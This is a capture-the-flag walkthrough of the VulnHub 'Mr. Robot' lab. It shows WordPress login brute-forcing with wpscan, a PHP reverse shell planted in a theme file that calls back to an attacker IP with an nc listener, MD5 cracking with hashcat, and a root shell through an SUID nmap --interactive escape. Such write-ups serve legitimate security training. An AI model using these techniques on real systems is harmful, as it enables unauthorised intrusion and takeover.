Mr. Robot 1 is one of those VulnHub boxes I'd been meaning to do for ages — partly because I'm a fan of the show, partly because everyone calls it the "first WordPress box that actually teaches you something." Three keys hidden across the box, with a final twist that needs a really old SUID binary. Took me about three hours, mostly because I deduped the wordlist wrong on the first try and burnt forty-five minutes brute-forcing nothing. The chain itself is genuinely well-designed.
01_Reconnaissance
Quick nmap. SSH is filtered, so the only attack surface is HTTP and HTTPS on port 80/443. The web app is fully themed after the show — terminal-style splash page with a fake CLI prompt. Cute, but the actual content is in /robots.txt.
$ sudo nmap -sC -sV -p- --min-rate 5000 192.168.1.18
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd
|_http-title: Mr. Robot
443/tcp open ssl/http Apache httpd
02_robots.txt_and_fsocity.dic
The /robots.txt file lists two interesting paths: key-1-of-3.txt (first flag) and fsocity.dic — a wordlist with 858,160 entries.
$ curl http://192.168.1.18/robots.txt User-agent: * fsocity.dic key-1-of-3.txt $ curl http://192.168.1.18/key-1-of-3.txt [REDACTED] — KEY 1 of 3 captured $ wget http://192.168.1.18/fsocity.dic $ wc -l fsocity.dic 858160 fsocity.dic
Critical Step — Deduplicate the Wordlist
The dictionary is full of duplicates. Running sort -u fsocity.dic > fsocity-unique.dic drops it from 858,160 lines to about 11,451 unique entries — roughly 75× faster brute force. Skipping this step is what cost me forty-five minutes earlier.
$ sort -u fsocity.dic > fsocity-unique.dic $ wc -l fsocity-unique.dic 11451 fsocity-unique.dic
03_WordPress_Brute_Force
Browsing the site reveals a WordPress install at /wp-login.php. The login form has a quirk that's the key to this whole step — the error messages are different for invalid usernames vs. invalid passwords. "Invalid username" vs. "the password you entered is incorrect" — that's a username oracle.
First pass: brute force the username field with the deduped wordlist. elliot hits — the response changes from "Invalid username" to a password prompt. Second pass: same wordlist, now as the password for elliot.
$ wpscan --url http://192.168.1.18 \ --usernames elliot \ --passwords fsocity-unique.dic \ --max-threads 50 [+] Performing password attack on Wp Login against 1 user/s [SUCCESS] - elliot / [REDACTED] [!] Valid Combinations Found: | Username: elliot, Password: [REDACTED]
04_WordPress_RCE_via_Theme_Editor
Logged in as elliot — full administrator. Same theme editor trick I used on ColddBox: drop a PHP reverse shell into 404.php in the active theme, then trigger it by hitting any non-existent URL.
# Navigate to wp-admin → Appearance → Editor → 404.php # Replace with pentestmonkey PHP reverse shell <?php $ip = '192.168.1.100'; $port = 4444; // ... full payload ?> # In another terminal: $ nc -lvnp 4444 # Trigger 404: $ curl http://192.168.1.18/?p=99999 connect to [192.168.1.100] from (UNKNOWN) [192.168.1.18] 41822 $ whoami daemon $ python -c 'import pty; pty.spawn("/bin/bash")' daemon@linux:/$
05_Pivot_to_robot_via_MD5
Shell as daemon. Looking at /home/, there's a robot user with two interesting files: key-2-of-3.txt (readable only by robot) and password.raw-md5 (readable by anyone). The MD5 file contains robot:c3fcd3d76192e4007dfb496cca67e13b.
daemon@linux:/$ cd /home/robot && ls -la -r-------- 1 robot robot 33 key-2-of-3.txt -r--r--r-- 1 robot robot 39 password.raw-md5 daemon@linux:/home/robot$ cat password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b # Crack with hashcat (mode 0 = raw MD5) $ echo "c3fcd3d76192e4007dfb496cca67e13b" > hash.txt $ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt c3fcd3d76192e4007dfb496cca67e13b:[REDACTED] # (the hash is the MD5 of "abcdefghijklmnopqrstuvwxyz" — alphabet) daemon@linux:/$ su robot Password: [REDACTED] robot@linux:~$ cat key-2-of-3.txt [REDACTED] — KEY 2 of 3 captured
06_PrivEsc_via_SUID_Nmap_Interactive
As robot, I run the standard SUID hunt. The result is a piece of nostalgia — /usr/local/bin/nmap with the SUID bit set. This box ships with an old enough nmap version (3.81) to support the deprecated --interactive flag, which opens a shell-like prompt with a built-in ! escape command.
robot@linux:~$ find / -perm -4000 -type f 2>/dev/null /bin/ping /bin/ping6 /bin/umount /bin/su /bin/mount /usr/local/bin/nmap /usr/bin/passwd robot@linux:~$ /usr/local/bin/nmap --version Nmap version 3.81 ( http://www.insecure.org/nmap/ ) # GTFObins — old nmap with --interactive robot@linux:~$ nmap --interactive nmap> !sh # whoami root # cat /root/key-3-of-3.txt [REDACTED] — KEY 3 of 3 captured
Technique Note — Why Nmap Has SUID Here
Older nmap versions needed root privileges to send raw packets (SYN scans, OS fingerprinting). Distros routinely shipped nmap setuid root to make this work without sudo. The --interactive mode was a small REPL that allowed running scans without retyping the binary path — and it included a shell-escape ! that ran commands inheriting the SUID context. The flag was removed in nmap 5.21 (2010) precisely because of this. Reference: GTFObins/nmap.
07_Attack_Chain_Summary
- 01 Nmap → ports 80/443 (Apache); SSH filtered
- 02 /robots.txt → key-1-of-3.txt + fsocity.dic (858,160 lines)
- 03 sort -u fsocity.dic → 11,451 unique entries
- 04 WPScan username brute → elliot identified via response delta
- 05 WPScan password brute → elliot:[REDACTED]
- 06 WP Admin → Theme Editor → 404.php → PHP reverse shell → daemon
- 07 /home/robot/password.raw-md5 → hashcat MD5 → su robot → key-2-of-3.txt
- 08 SUID /usr/local/bin/nmap (v3.81) → nmap --interactive → !sh → root → key-3-of-3.txt